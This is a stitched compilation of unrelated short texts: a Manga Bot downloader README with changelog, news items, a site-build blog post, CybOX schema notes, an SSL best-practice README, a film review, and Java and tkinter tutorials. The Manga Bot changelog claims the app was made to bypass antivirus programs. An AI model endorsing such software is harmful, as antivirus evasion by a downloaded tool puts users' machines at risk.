All of this underpinned by regulatory requirements that support and promote good qualifications. Regulation, in other words, that really means something and really achieves something.
Thank you very much.


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Manga Bot is a user-friendly and efficient application that can help you quickly grab your favorite manga series, enabling you to save it to your computer and read it whenever you want.
It's 100% FREE without any ads in app. If you have any inquiries or difficulties in use, just feel free to feedback to me via email<EMAIL_ADDRESS>or leave comments here.
Installation
Manga Bot requires .NET Framework 4.0+ to run.
| Site | Download link |
|---|---|
| .NET Framework | v4.5 |
| Mediafire | v2.5 (2018-01-19) |
| Softpedia | v2.5 |
Features
- Download up to 10 manga simultaneously with one-click (unlimited in Queue)
- Automatically update manga list. No longer worry about the manga list is out of dated
- Download from any link (Grabber tool)
- Create ZIP/PDF files automatically after downloaded
- Advanced search across sites
- Shutdown your computer after download queue was completed
- Create ZIP/PDF file from anything downloaded manually (Converter tool)
Supported sites
| Vietnamese | English |
|---|---|
| blogtruyen.com | mangafox.me |
| truyentranh8.net | mangapark.me |
| truyentranhtuan.com | |
| hocvientruyentranh.net | |
| truyentranh.net | |
| mangak.info | |
| uptruyen.com |
Screenshots
FAQs
- How to download the manga immediately?
Choose manga/chapters you want to download (on the left/right list) -> right-click on the list -> Download. Remember that you can only download up to 10 manga at the same time.
- How to bookmark and download manga later or more than 10 manga at the same time?
Choose manga/chapters you want to download (on the left/right list) -> right-click on the list -> Add to Queue. It should be shown in the bottom list. Remember that it just added to the list. To start downloading, click button Start Queue .
Changelogs
Version 2.5 (2018-01-19)
- [FIXED] Broken sites
Version 2.3 (2016-07-17)
- [NEW] Support truyentranhmoi.com, mangak.info, uptruyen.com
- [NEW] Vechai moved to truyentranh.net
- [NEW] izmanga.com moved to iztruyentranh.com
- [IMPROVED] Fix truyentranh8.net
Version 2.2 (2016-05-28)
- [NEW] No longer support auto update (do not find any free host to get permanent direct link)
- [IMPROVED] Bypass antivirus programs
- [FIXED] Homepage Links
Version 2.1 (2016-05-15)
- [NEW] Support lhmanga.com
- [FIXED] Bandwidth limit
Version 2.0 (2016-05-08)
- [NEW] App name is changed to "Manga Bot"
- [NEW] Auto-update manga list
- [NEW] Ability to quickly support & bugfix
- [IMPROVED] Update logo of manga sites
- [IMPROVED] Resort the order of sites by download times
- [FIXED] Fix vechai.info
Version 1.20 (2016-04-03)
- [NEW] Support mangapark.me
Version 1.19 (2016-04-02)
- [NEW] Do not support mangavn, kissmanga
- [FIXED] Fix blogtruyen, izmanga, manga24h, truyentranh8
Version 1.18 (2015-10-03)
- [FIXED] BlogTruyen image url
Version 1.17 (2015-09-20)
- [FIXED] BlogTruyen image resolution was reduced
Version 1.16 (2015-09-07)
- [NEW] New option to enable/disable to minimize to the taskbar when close app
- [IMPROVED] Remove truyentranhnhanh.com because it's no longer available
- [FIXED] mangafox.me, truyentranh8.net
Version 1.15 (2015-07-19)
- [IMPROVED] Improve auto update
- [FIXED] Remove loading manga list windows
Version 1.14 (2015-07-12)
- [NEW] New site otakufc.com, truyen.academyvn.com
- [IMPROVED] Improve Converter UX
Version 1.13 (2015-06-14)
- [NEW] Ability to update automatically new versions
- [FIXED] Get manga from vechai.info
Version 1.12 (2015-06-06)
- [NEW] Support kissmanga.com
- [NEW] Change task priority to download
- [IMPROVED] Ability to add more tasks meanwhile starting queue
Version 1.11 (2015-05-28)
- [NEW] Converter to convert photos to PDF or zip
- [IMPROVED] Get actual photo size when blogtruyen uses proxy url
- [FIXED] Not to update concurrent worker limit when updating settings
Version 1.10 (2015-05-12)
- [FIXED] Cannot close auto update form
Version 1.9 (2015-05-11)
- [FIXED] Cannot download from manga24h.com
Version 1.8 (2015-04-05)
- [NEW] Turn off computer after queue downloaded complete
- [NEW] Hide to notification area of taskbar when close app
- [NEW] Advanced search
- [IMPROVED] Always show search box
- [IMPROVED] Move task toolbar up to task list
- [IMPROVED] Not hang UI when open app
- [IMPROVED] Always use en-US number format for versioning format
- [IMPROVED] Rearrange task list columns
- [FIXED] Manual downloading
- [FIXED] Button skip doesn't work
Version 1.7 (2015-04-02)
- [NEW] Support izmanga.com
Version 1.6 (2015-04-01)
- [NEW] Support manga24h.com, truyentranhtuan.com, truyentranh8.net, truyentranhnhanh.com
Version 1.5 (2015-03-29)
- [NEW] Support mangavn.net
- [NEW] Grabber form, to get chapters from a manga url
- [NEW] Button Download to add manga/chapter/page to queue and download them right
- [IMPROVED] Search box has an agility to search by manga url
- [IMPROVED] Remove AutoUpdate option, it means to check for updates always
- [IMPROVED] Agility to get chapter list from unverified manga of BlogTruyen
- [FIXED] A task wasn't updated to STOPPED despite it was stopped when stop queue
Version 1.4 (2015-03-28)
- [IMPROVED] Optimize UI more clean
Version 1.3 (2014-06-04)
- [FIXED] Ignore the redundant images
Version 1.2 (2014-05-07)
- [NEW] Support two sites vechai.info
- [FIXED] Ignore the redundant images
Version 1.1 (2014-05-04)
- [NEW] Allow to grab list of chapters from an url of manga. Only two sites blogtruyen.com and mangafox.me
- [NEW] Allow to convert the images to PDF file
- [NEW] Massively rename
- [FIXED] Cannot create zip file
Version 1.0 (2014-04-30)
- [NEW] Update UI completely and rename to Manga Bot
- [NEW] Support to get list of manga from two sites blogtruyen.com and mangafox.me
- [NEW] Allow to download manga to see them offline later
- [NEW] Automatically create ZIP or PDF file after download completed
- [NEW] Automatically shutdown your computer after queue were downloaded completed
License
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Copyright (c) 2012 Manga Bot
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
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Bug fix pull requests will be accepted for this library for the immediate future but there will be no active development or new features and it will eventually be archived.
Thank you to everyone who has contributed to the library over the years!


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Bayelsa Guber: Nigeria’s Democracy Is Saddening, Gov. Dickson Speaks On Electoral Process
by Faderera FaladeBayelsa governor, Seriake Dickson, has reacted to the ongoing governorship election in the state, saying it is a sad commentary on Nigeria’s democracy.
This, the governor said after casting his vote at ward 2, polling unit 5, Tori-Orua in Sagbama local government area of the state, today.
”Today is a sad commentary on our nation’s democracy, ” he said.
According to him, APC thugs hijacked electoral materials and were protected by the military.
He further noted that the election is not taking place in Nembe, Southern Ijaw and some other areas in the state.
Dickson also accused the APC of trying to make the nation a one-party state,


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I love typesetting tools. In my experience, I have used and written articles and papers using the following list of tools: LaTeX
, groff
, markdown
, Org-Mode
, asciidoctor
, HTML
, plain text
. I had to decompress Word files and wrestle with raw XML files there, what a trip that was.
You might be interested in how this website is built.  Makefile converts my raw org mode files into asciidoctor with pandoc, sed scripts modify the asciidoctor files, then asciidoctor binary is called to generate HTML, and another sed script to modify the generated files, like adding CSS and some custom meta tags.
The repository is hosted on Github. source
branch is the one that contains all the source org files, on every commit push, a github workflow is triggered that runs everything above and deploys the generated website to master
branch, where it triggers Github Pages to build the branch and deploy it here.
Below is a good flow graph of files and operations. Just to solidify the structure of the website, here is the source org file for this webpage.
───────────────
───/ \───
/ \
( Commit push triggers )
\ github workflow /
───\ /───
────────/──────
/
Makefile /
│
/
┌───────────o────┐ pandoc
│ org files ├────────────────┐
└───────┬────────┘ │
│ │
│ │
│ pandoc │
│ │
┌───────┴───────────┐ ┌─────────┴───────────┐
│ asciidoctor files │ │ README.md files │
└─────────┬─────────┘ └─────────────────────┘
│
│
\ sed script
│
┌─────────o─────────┐
│ modified asciid. │
└────────┬──────────┘
│
│
\ asciidoctor
│
┌─────────o─────────┐
│ generated HTML │
└────────┬──────────┘
│
│
/ sed scripts
│
┌───────o───────────┐
│ pretty HTML files │
└───────────────────┘
─/
─/
── ───────────────
o────/ \────
/ Push files to \
( master and deploy to Pages)
\ /
────\ /────
───────────────
That’s the kind of workflow I have for my website. Whenever I do want to add a new page or update existing ones, all I have to do is edit org mode files, which are native to Emacs and push committed updates. That’s all the magic!
On a quick note, you were probably curious about the fortunes page. The simplicity of website updates allows some room for automation. Please meet astrie! My personal assistant for my website.
Astrie talks to me through Telegram, where I send her various commands, such as adding quotes and she patiently abides. I’m quite proud of her, as all we need for all that complexity is a ~100 loc Go package with a very small shell script that runs continuous git submodule updates and pushes.
In a bigger picture, I must say that I would love to be able to typeset beautiful documents and books like the ones below ◼


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The ExtractedStringType type is intended as container a single string extracted from a CybOX object.
| Field Name | Type | Description |
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| Encoding0..1 | ControlledVocabularyStringType |
The Encoding field refers to the encoding method used for the string extracted from the CybOX object, via a standardized controlled vocabulary. This field is implemented through the xsi:type controlled vocabulary extension mechanism. The default vocabulary type is CharacterEncodingVocab in the http://cybox.mitre.org/default_vocabularies-2 namespace. This type is defined in the cybox_default_vocabularies.xsd file or at the URL http://cybox.mitre.org/XMLSchema/default_vocabularies/2.0.1/cybox_default_vocabularies.xsd. Users may also define their own vocabulary using the type extension mechanism (by specifying a vocabulary name and/or reference using the vocab_name and vocab_reference attributes, respectively) or simply use this as a string field. |
| String_Value0..1 | StringObjectPropertyType |
The String_Value field specifies the actual value of the string extracted from the CybOX object, if it is capable of being represented in the encoding scheme used in the document (most commonly UTF-8). |
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The Byte_String_Value field specifies the raw, byte-string representation of the string extracted from the CybOX object, in hexadecimal format. |
| Hashes0..1 | HashListType |
The Hashes field is used to include any hash values computed using the string extracted from the CybOX object as input. |
| Address0..1 | HexBinaryObjectPropertyType |
The Address field specifies the location or offset of the specified string in the CybOX objects. |
| Length0..1 | PositiveIntegerObjectPropertyType |
The Length field specifies the length, in characters, of the string extracted from the CybOX object. |
| Language0..1 | StringObjectPropertyType |
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Balu Kaimu:
Instead of answering, the stone surface of the pillar seems to shimmer as words appear, forming a phrase that seems almost slightly raised, like button. Push on it gently.
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Proper SSL
Proper SSL is a series of best practices for establishing SSL connections between clients and servers.
For an overview of SSL itself and the inspiration that that lead to the creation of this site read this post.
About
Examples of using SSL found across the web are frequently incomplete or insecure. Proper SSL aims to make it easier to follow best practices by providing a series of complete example configurations for establishing SSL connections in the most popular client/server environments.
Format
Each repository contains a self-contained example of how to properly establish and use an SSL connection. The objective isn't to create the most extensible SSL examples but to have a cheat sheet of the right way to do things. Whenever possible, external dependencies should be minimized.
Each example is runnable. Given their client/server nature, the preferred way is to define a test server using Vagrant so that new users can run tests with a simple vagrant up
command.
Any additional steps needed to run an example should be in its README
file.
Repo Naming Conventions - Clients
Examples of clients securely connecting to servers should be named in the following format:
[language]-[interface/framework]-[target]
-
language
is the programming language used (eg. java, ruby, python). -
interface/framework
is the framework used (eg. jdbc, sqlalchemy, datamapper, dbi). -
target
is the server being connected to. This will usually be an external server (eg. postgresql, mysql).
Unless there's a good reason, don't add "ssl" to the name of the repo.
Repo Naming Conventions - Servers
Examples of server configurations should be named in the following format:
[server-name]-[description]
-
server-name
is the name of the server used (eg. nginx, apache2, mysql). -
description
is a short description about what's being configured (eg. pfs).
Examples
- nginx with Perfect Forward Security
- PostgreSQL JDBC with self-signed certificate validation
- MariaDB JDBC with self-signed certificate validation
Contributing
Contributions of new examples are always welcome. To suggest new examples, please submit an issue. If you've created a working example publish it on GitHub and we'll fork it.
License
Unless explicitly specified otherwise, all Proper SSL code is released under the MIT License.
Who Created Proper SSL?
Proper SSL is brought to you by JackDB.


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Hyundai Santa Cruz compact pickup confirmed
It'll be built in Alabama
by James RiswickThe Hyundai Santa Cruz compact pickup was confirmed for production today, perhaps in an effort to get ahead of next week's L.A. Auto Show news wave. Hyundai also announced its first truck for the North American market will be built, starting in 2021, in its assembly plant in Montgomery, Ala. Doing so will require a $410 million expansion of the facility, which currently builds the Sonata and Elantra. In the present political climate, Hyundai was keen to note that the project "will add 1,200 new direct and indirect jobs."
Like the Honda Ridgeline, Hyundai confirmed that the Santa Cruz will be a unibody pickup, going so far as even dubbing it a "crossover." In the words of the press release, "Santa Cruz is for those who want all the traditional attributes of a compact utility vehicle, but need the day-to-day versatility of an open bed. It's the crossover that creates a whole new segment that successfully combines capability and utility to meet the unspoken needs of a new generation of buyers, especially Millennials."
Digging through that, the "whole new segment" and "compact" bits would imply that the Santa Cruz will be smaller than the Ridgeline, and possibly the rest of the Colorado/Tacoma/Ranger segment that is now typically considered midsize.
The Hyundai Santa Cruz concept truck, pictured above, was first shown at the 2015 Detroit Auto Show. As production is set to begin in 2021, it seems likely that it'll be a 2022 model and that we should see the production version some time next year.


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Oracle has aquired Sun.
There were weeks of speculation of a buyout by IBM, which generated loads of discussions on the opensolaris forums. The biggest fear was IBM buying Sun, and killing off competing products. Sun and IBM competed on many fronts.. Opensolaris vs AIX, Eclipse vs Netbeans, Mysql vs DB2, Power vs Sparc, etc.. not to mention the server hardware market.
Sun's price-tag was nothing to IBM.. it could've bought Sun out with a week's revenues. The talks fail, Oracle swoops in, and grabs Sun. A /. comment sums it up..
Sun = Poorly run company with great products
Oracle = Masterfully run company with shitty productsI wonder how that DNA is going to come together...
I wonder too.
Sun's range of technology and products dont overlap with Oracle, atleast not to the extent it did with IBM. This means that Oracle is looking to expand to have hardware solutions, and provide a complete stack (or the less probable alternative where it does not expand, and simply blew billions.)
Sun has had issues with marketing their amazing range of technologies.. Linux (and brands like RedHat/IBM/Ubuntu) are still considered the face of free software.. an arena where the majority of the code, by a large margin, has been contributed by Sun. Oracle seems to have a marketing department that seems have a clue.
My personal interest is in Opensolaris' future. Things looked bleak with IBM who would prefer AIX and/or linux, given their investment into those technologies. Oracle, on the other had, has a very good track record on Opensolaris, and an integrated Oracle/Opensolaris solution would be powerful indeed.
Oracle's presentation on this can be found here. Quoting points relevent to Opensolaris:
Slide 4
Consistent with Oracle’s strategy to provide complete, open and integrated systems
Optimize Solaris and Oracle for better performance, reliability, and manageability
Open Storage built with industry standard servers and components
Expands Oracle’s range of products, including servers and storage
..Slide 5
Sustain Solaris as an industry standard OS for Oracle software
Continue Open Storage and Systems focus and innovation
That should quell any fears of Opensolaris going kapunk. Here's looking forward to a bright future, and continued innovation in Opensolaris land.
[Of course, bigger pundits than me have had to eat their hats on their predictions.. all of the above is pure personal speculation.. don't buy stocks based off this]


BLOOD AND WINE A film review by Steve Rhodes Copyright 1997 Steve Rhodes
RATING (0 TO ****): ** 1/2
BLOOD AND WINE is an atmospheric thriller by director Bob Rafelson. In the press information, Rafelson describes the film as the third part of a trilogy with the first two parts being FIVE EASY PIECES and THE KING OF MARVIN GARDENS. Although each of the pictures stars Jack Nickolson, I see few other similarities.
In BLOOD AND WINE, Nickolson plays Alex Gates. Alex, a wine merchant to the rich and famous, has a dwindling business bordering on bankruptcy. He has an attractive, middle-aged wife Suzanne (Judy Davis), but he reserves his passions for a hot young Cuban woman Gabriella (Jennifer Lopez), who works as a nanny for one of his customers. He also has a nice grown stepson, Jason (Stephen Dorff), who is about Gabriella's age.
In order to turn his life around, Alex hooks up with a wheezing old cat burglar named Victor (Michael Caine). Alex and Victor have a foolproof scheme whereby Gabriella lets them in to steal a million dollar plus diamond necklace when her employer is gone. As soon as they have the necklace, Victor takes a picture of Alex and the jewels. The photograph ensures that Alex cannot deny his involvement. "There's no such thing as honor among thieves," explains Victor. "It's a myth."
At first, the marriage troubles between Alex and Suzanne appear little more than a plot diversion. "I've got an idea," he tells her during one heated discussion.
About a third of the way into the movie the two stories, burglary and marriage difficulties, collide. After that, the film takes several surprising turns and evolves into a decent thriller. Still, the script by Alison Cross and Nick Villiers too often gets mired in its own material. The languid direction does not help.  Tom Sigel's shadowy cinematography and Michael Lorenc's sad music contribute to the film noir impression.
The acting talent saves the picture. Caine gives a sympathetic portrayal of his character. Victor has the finesse of a pit bull, but he coughs blood and may die before he ever gets his hands on the loot. Even in questionable films, THE EVENING STAR being a recent example, Nickolson manages to shine. Here, his once hotshot salesman has vitality and pathos. Only the Cuban nanny figure lacks interest. Her character exists mainly for the men to desire and has little depth.
Although costumes and sets establish the tone of a movie, so can the choice of cars. Ever confident salesman Alex drives a new, red BMW convertible with countless coats of wax. His sensible wife, has a capacious and safe Volvo station wagon. So what kind of car does Victor have? A land yacht -- a Lincoln Towncar -- that looks as tired as its owner.
BLOOD AND WINE runs 1:38. It is rated R for violence and language. It would be fine for older teenagers. I give the film thumbs up and ** 1/2.
**** = A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show. Don't waste your money. 0 = Totally and painfully unbearable picture.
REVIEW WRITTEN ON: February 14, 1997
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Java 8 finally brings some functional code idioms to the language. Given that many applications are still using Java version 5, 6, and 7, is there any way to use functional idioms in these versions that do not have direct support for functional programming?
Java 7 supports the external foreach statement but since foreach is not available in Java 5 and 6, I am not discussing it in this article.
After solving a ProjectEuler problem with Scala and imperative Java, I went back to my Java 8 solution and created a functional solution using the Java 8 Stream API and a second functional version using just Java 7 features..
Here are the versions I coded: The functional Java 7 solution uses tail recursion and Single Abstract Method (SAM) Interfaces to eliminate mutations and simulate lambda expressions. The solution is not optimal because the tail recursion is not eliminated by the Java 7 compiler and the SAM objects are actually anonymous classes that generate an object for every invocation. The solution works for small data sets but would cause a stack overflow with a large input data set. Nevertheless, creating the solution demonstrates that the functional idiom can be applied to older Java versions if you accept the constraints of the implementation.Using a functional programming language like Scala completely changed my thought process when designing solutions for problems. I now look for ways to eliminate mutations and replace embedded calculations in pre-Java 8 code by using a SAM Interface that simulate lambda expressions. The resulting Java code looks like a lambda when executed. Unfortunately the implementation is somewhat more difficult to read than the implementation of a lambda expression in Scala.
The first step in converting from imperative to pseudo functional programming was to convert the embedded matrix calculation to SAMs like the following.
private static int[][] matrix = {} interface MatrixProduct { public int apply(int[][] matrix, int row, int col); } MatrixProduct matrixProduct = new MatrixProduct() { @Override public int apply(int[][] matrix, int row, int col) { return matrix[row][col] * matrix[row][col + 1] * matrix[row][col + 2] * matrix[row][col + 3]; } }; final int product = matrixProduct.apply(matrix, row, col);
That code above replaces the following logic embedded in the original code.
product = max(product, matrix[row][col] * matrix[row][col+1] * matrix[row][col+2] * matrix[row][col+3]);
The functional code is a lot longer but obviously some of that length is due to the separation of the matrix calculation into four lines of code. The SAM is also passed to a function so the four functions in the imperative version have been replaced with two functions in the functional version.
The original embedded calculation is replaced with a call to the SAM.
final int product = matrixProduct.apply(matrix, row, col);
Notice how the call to the apply() function looks very similar to the Scala syntax to execute a lambda expression. With Scala, matrixProduct would be the lambda and apply would execute the lambda. In Java, matrixProduct is an object and apply() is a function name that I chose to make the code look like a Scala lambda execution.
Doing this is somewhat like factoring out the business logic that I might want to convert to a lambda expression when the code is transitioned to a Java version that supports lambda expressions. Doing this seems like an academic exercise but it changes the way you approach calculations and prepares you for the transition to a functional programming language.
In order to eliminate the for-loops in the imperative version, I implemented tail recursion. The following is the Java code that replaced a nested for-loop to iterate over the columns and rows of the matrix.
Outer loop.
public static int columnProduct(int[][] matrix, MatrixProduct matrixProduct) { return columnProductImpl(0, 0, matrix, matrixProduct, matrix.length - 4); } private static int columnProductImpl(int row, int product, int[][] matrix, MatrixProduct matrixProduct, int upperLimit) { if (row >= upperLimit) return product; return columnProductImpl( row + 1, max(product, getColProd(row, matrix, matrixProduct)), matrix, matrixProduct, upperLimit); }
Inner Loop
private static int getColProd(int row, int[][] matrix, MatrixProduct matrixProduct) { return getColProdImpl(row, 0, matrix, 0, matrixProduct); } private static int getColProdImpl(int row, int col, int[][] matrix,int previousProduct, MatrixProduct matrixProduct) { if (col > matrix[0].length - 4) return previousProduct; final int product = matrixProduct.apply(matrix, row, col); return getColProdImpl(row, col + 1, matrix, max(previousProduct, product), matrixProduct); }
Here is the Java 8 version of the same code. This code is much easier to understand due to the fluent coding style. I also reduced the four function calculations into two calculations.
Outer loop.
private int matrixCellProduct(final int[][] matrix, BiFunctioncalcProduct, int rowBuffer, int columnBuffer) { return IntStream.range(0, matrix.length - 1 - rowBuffer) .map(row -> calculateCellProduct(row, matrix, calcProduct)) .max() .getAsInt(); }
Inner Loop
private int calculateCellProduct(int row, final int[][] matrix, BiFunctioncalcProduct) { return IntStream.range(0, matrix[0].length - 4) .map( col -> calcProduct.apply(row, col) ) .max() .getAsInt(); }
I also wanted to refactor the cell product lambda expression, like I did in the Scala program so that the cell product size is a number.
Java 8 BiFunction
final BiFunctioncolumnProduct = (row, col) -> { return matrix[row][col] * matrix[row][col + 1] * matrix[row][col + 2] * matrix[row][col + 3]; };
Unfortunately, Java 8 does not support a TriFunction type that I need to pass a third parameter into the lambda expression so I left the lambda expressions as is. Notice that the Java BiFunctions are hard coded to calculate the product using four cells. I think I can fix this later by using nested lambda expressions.
def matrixProduct(matrix: Array[Array[Int]], calcProduct: (Int, Int, Int) => Long, rowBuffer:Int, columnBuffer:Int) = { (for (row <- 0 to matrix.length - rowBuffer - 1; col <- 0 to matrix(0).length - columnBuffer - 1) yield calcProduct.apply(row, col, max(rowBuffer, columnBuffer))) .max }
If you compare the imperative version to the Java 7 functional version, the functional version is slightly shorter but that is due to applying the DRY refactoring. The real problem with the functional version is the recursion that can lead to a stack overflow given a large input data set. If a function fails after 10,000 iterations, is it really correct? What magic number number will lead to a failure? Who knows, so recursion without a compiler that can optimize tail recursion is not suitable for enterprise level software.
The SAM Interface looks like a useable pattern for pre-Java 8 code because it just uses object instantiation. Java 8's dynamic function invocation that does not create a stack frame is better but at least the SAM object can be freed by the garbage collector. The one caveat is that a SAM combined with a recursive function will consume heap memory possibly causing an out-of-heap-space error message and program failure.
The bottom line is that with pre-Java 8 versions your options to use functional code are extremely limited.


GUI Form and Widget
B elow we are gonna cover how to work with:
- Label and Button
- Text Entry Widget
- Combo Box Widget
- Check Button
- Radio Button
- Scrolled Text Widget
Label and Button
In line 3 we imported the built-in tkinter
module; in line 6 we assigned an instance of the Tk class, by calling its constructor, to the variable 'win'
. In the next line we gave a title to our window
if we want to prevent the window from being resized we can add the commented code linewin.resizable(0, 0)
; the maximize button in the toolbar of the window should be grayed out. Note that if we pass to theresizable()
method other values, we hard-code the x and y start up size of the GUI, but that won't make it nonresizable.
In lines 11-12 we added the label to the GUI by passing our window instance into the ttk.Label
constructor and setting the text property. This becomes the text our Label will display. We have also made use of the grid layout manager to set the position into the window.
In lines 15 to 17 we defined the event handler that is being invoked once the button gets clicked; this function just change the label foreground color and the text inside the button. Then in lines 19-20 we created the button and binded the command to the clickMe()
function.
GUIs are event-driven. Clicking the button creates an event. We binded what happens when this event occurs in the callback function using the command property of the ttk.Button
widget
By adding the property state='disabled'
we can also disable widgets (line 25)
In the last line we started the window's event loop by calling the mainloop()
method on the class instance 'win'. Up to this point in our code, the GUI will not be displayed until we start the main event loop.
#!usr/bin/env python3
import tkinter as tk
from tkinter import ttk
win = tk.Tk() # create an istance of Tk class by calling its constructor
win.title("Label and Button") # give our window a title via the title property
# win.resizable(0, 0) # preventing the GUI from being resized
# Adding a Label
label =ttk.Label(win, text="A Label") # assign label to a variable
label.grid(column=0, row=0) # position the label within the form
# Adding a Button to perform an action
def clickMe() :
btn.configure(text="** I have been Clicked! **") # invoke the event handler once button gets clicked
label.configure(foreground="red") # the action that will be invoked
btn = ttk.Button(win, text="Click Me!", command=clickMe) # create a button and bind the command to the clickMe function
btn.grid(column=1, row=0) # position the button within the form
# Adding a disabled Button
btn_disabled = ttk.Button(win, text="Click Me!", command=clickMe) # ..
btn_disabled.grid(column=2, row=0) # ..
btn_disabled.configure(state='disabled') # clicking the button no longer creates any action
win.mainloop() # start the window's event loop


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This repository ( https://github.com/dmpark04/alasso ) contains code to reproduce the key findings of:
Park, D., Hong, S., Han, B., & Lee, K. M. (2019). Continual learning by asymmetric loss approximation with single-side overestimation. In Proceedings of the IEEE International Conference on Computer Vision (pp. 3335-3344).
@inproceedings{park2019continual,
title={Continual learning by asymmetric loss approximation with single-side overestimation},
author={Park, Dongmin and Hong, Seokil and Han, Bohyung and Lee, Kyoung Mu},
booktitle={Proceedings of the IEEE International Conference on Computer Vision},
pages={3335--3344},
year={2019}
}
We have tested this code with the following configuration:
git clone https://github.com/dmpark04/alasso.git
For 30 tasks, run the following commands.
cd permuted_minst
python train.py
python 'Basic graph Permuted MNIST.py'
For 100 tasks, run the following commands.
cd permuted_minst
python train_100.py
python 'Basic graph Permuted MNIST.py'


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